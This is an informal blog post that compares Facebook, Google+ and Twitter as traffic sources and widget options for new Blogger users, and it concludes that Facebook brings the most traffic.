For newbie bloggers, mainly three social sites bring traffic. Which are facebook, Google+ and twitter. So, today, I will talk about which one social site out of these three is best for bloggers. Not for newbie but also for bee…err sorry…Not for newbie but also for professional bloggers. Today, I will tell you by comparing, which is better for blogger blog. Remember- I am saying blogger so for only bloggers not word press users. Because word press is really very different from bloggers. How? WordPress’s some plugins make some thing possible that are not possible on blogger yet.

At starting, when a newbie start his blog, he never take care of SEO, design, daily posting. The only thing he cares is- how many peoples are reading his post. And, newbie get 100% of their blog traffic from social media sites which are facebook, twitter and Google+ (mainly Facebook). So, if you are also a newbie, then you will get answer of your question ‘In which social media, I should promote my blog most?’

Comparison #1- Widget For Blogger From Facebook, Google+ or Twitter

As you know, facebook, Google+ and Twitter, all these three the most famous social sites have created one-one widget for bloggers that they can place on their website or blog to promote their facebook page, facebook profile and blog content, Google+ page, Google+ profile or Twitter account. So let’s discuss which ones widgets are best.

Facebook Page Plugin:

Advantages:

  • We can easily promote our facebook page using facebook’s created page plugin. Using this page plugin, our blog’s visitors can easily and quickly like our facebook fan pages.
  • If they are logged in, they can like page’s post directly from the plugin.
  • We can customize it using CSS.

Disadvantages:

  • This plugin make blog’s loading speed poor.
  • We can’t use it as a follow plugin.
  • Facebook Page Plugin is not responsive.

Google+ Badge

Advantages:

  • We can use it for profile pages and business pages,
  • We can customize it using CSS,
  • Visitors can easily give a +1 or follow the blog’s Google+ profile with one click.

Disadvantages:

  • This plugin makes the blog’s loading speed poor,
  • This plugin is not responsive which sometime hurt Google Pagespeed scores.

Twitter Feed Widget

Advantages:

  • If visitor is logged in to his/her twitter account, he can retweet, follow, reply a tweet of blog’s twitter account with one click.
  • This plugin not makes the website load poor.
  • This plugin is responsive.
  • Can be customized using CSS.
  • Visitors can directly tweet to blog’s account from the webpage.

Disadvantages:

  • Not shows the follower count.

Conclusion

So, after reading the advantages and disadvantages above, this is completely true, that twitter feed widget is better than facebook page plugin and Google+ badge.

Comparison #2- Which Social Site Bring Most Traffic for newbie blogs?

This time, we will discuss about which of these three social media – facebook, Google+ or Twitter bring most traffic for newbie blogs. And this time, the results are opposite. Let’s first talk about facebook-

Facebook

  • Anyone can be famous on Facebook in some years.
  • Facebook is more crowded place comparing Google+ and Twitter.
  • If a person have 5000 friends, this his every shared post will get 500+ views in one day.
  • We can tag 100 friends per post.

Twitter

  • Getting famous in Twitter is much hard work.
  • We cannot write a description of the post because you know the tweet words limit.
  • We cannot tag more than 2 or 3 persons in a post because of tweets word limit.
  • You can not send every person a direct message.

Google+

  • Getting famous on Google+ is nor hard  neither easy.
  • If you are famous and have more than 1000 followers, your every post will get good number of pageviews in some hours.
  • You can get good number of pageviews if you would join big communities and then share your every post into them.

Conclusion

I think you are shocked. Right? Why? Because this time, the results are totally opposite. Google+ & Facebook together beaten twitter. So, this time, Facebook won 1st prize, Google+ won second and twitter got nothing!

So Which is Best? Twitter or Facebook?

Now after reading all the comparisons, you are waiting for the results. Right? And, the result is, Facebook! Because, common peoples (not bloggers) very hardly join twitter or Google+ like social sites but you will find every and each person of your surroundings on Facebook. So, when you share a post, people around you fastly open to see what you posted.

Final Words

So, you now know which social site can bring bundles of traffic toward your blog. But if you want maximum traffic (not from any one social site) to your blog, my suggestion is- Share your blog on Pinterest, Google+, Twitter and Facebook. Because these are these most famous social site (don’t forget linkedin). If you will share your blog and posts to all of them, they will give  Thank You!

Read More »